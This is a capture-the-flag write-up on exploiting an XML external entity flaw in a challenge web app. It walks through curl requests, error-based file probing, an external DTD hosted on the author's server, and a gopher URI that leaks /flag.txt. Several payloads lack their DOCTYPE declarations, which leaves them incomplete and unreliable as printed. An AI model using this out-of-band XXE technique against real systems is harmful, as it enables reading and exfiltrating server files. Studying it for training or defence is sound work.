Tags: xxe
Rating: 5.0
### Given
```
we got hacked last time, our platform is stronger and better now.
I think I patched all the vulnerabilities
EU instance (link)
US instance (link)
author: pop_eax
```
### Analysis
The name seems to hint that this is an continuation of a previous challenge. A quick google for `Special Order CTF` gives us [Github](https://github.com/pop-eax/SpecialOrder), and more importantly [Blog](https://pop-eax.github.io/blog/posts/ctf-writeup/web/2020/08/01/h-cktivitycon-ctf-specialorder/). We see that the challenge was JSON endpoint also supporting XML and performing an XXE using that. Let's start by looking at that endpoint.
I signed up to the site with user/pw `tea/tea` and signed in to get the session cookie to be able to do the request.
Lets try out the previous vulnerable `POST /customize` endpoint.
Control
```bash
> curl http://207.180.200.166:5000/customize
Content-Type: application/json
Cookie: session=sessionCookie
{"color" : "red", "size": "40px"}
> DONE :D
```
Moving to XML
```xml
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<root>
<color>red</color>
<size>40px</size>
</root>
> Sorry but this functionality has been disabeled due to recent intrustions
```
Hm, looks like it is blocked. Lets mess up the code to see if it is parsed.
```xml
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<root>
<colorred</color>
<size>40px</size>
</root>
> error parsing attribute name, line 3, column 11 (, line 3)
```
Oh, it is! So it might still be vulnerable.
Let's see if we can add some entities and try to execute them. Let's try to fetch a non existing file, since a valid request would result in the "Sorry" message.
```xml
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
]>
<root>
<color>&xx;;</color>
<size>40px</size>
</root>
> Failure to process entity xxe, line 4, column 14 (, line 4)
```
OK! A failure! That means it tried to parse the xxe. Lets try to get a file that should exist to verify that `file://` should work.
```xml
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
]>
<root>
<color>&xx;;</color>
<size>40px</size>
</root>
> Sorry but this functionality has been disabeled due to recent intrustions
```
Ok, so `file exists -> Sorry` and `file doesnt exist -> Failure`
Let's try to look for the flag file location.
```xml
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
]>
<root>
<color>&xx;;</color>
<size>40px</size>
</root>
> Sorry but this functionality has been disabeled due to recent intrustions
```
Oh, that was lucky! Flag is located at `/flag.txt`, now we just need to find a way to read it. Seeing the error logs would suggest that an error based approach would work.
Let's see if it can load external DTD's
```xml
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
]>
<root>
<color>&xx;;</color>
<size>40px</size>
</root>
On the server side:
yugge@myserver:~$ nc -l 8995
GET /test HTTP/1.0
Host: myserver:8995
Accept-Encoding: gzip
```
It seems to work! Let's construct a small dtd to create a web request with the content of the file.
### Exploit
```xml
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
%xxe;
]>
<root>
<color>&sen;;</color>
<size>40px</size>
</root>
On the server side:
"> %all;
Output:
> 504 Gateway Time-out
```
Huh, so we got a timeout when parsing the file, could there be some blocked words in the dtd? Let's try to replace http with another protocol.
```xml
> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
%xxe;
]>
<root>
<color>&sen;;</color>
<size>40px</size>
</root>
On the server side:
"> %all;
Output:
> Invalid URI: gopher://myserver/?flag{i7_1s_n0t_s0_bl1nd3721} , line 2, column 87 (test.dtd, line 2)
```
Oh, that worked better than expected. It didn't need to make the call, me messing up the URI for the gopher call made it error out the file content :D.
### Flag found! flag{i7_1s_n0t_s0_bl1nd3721}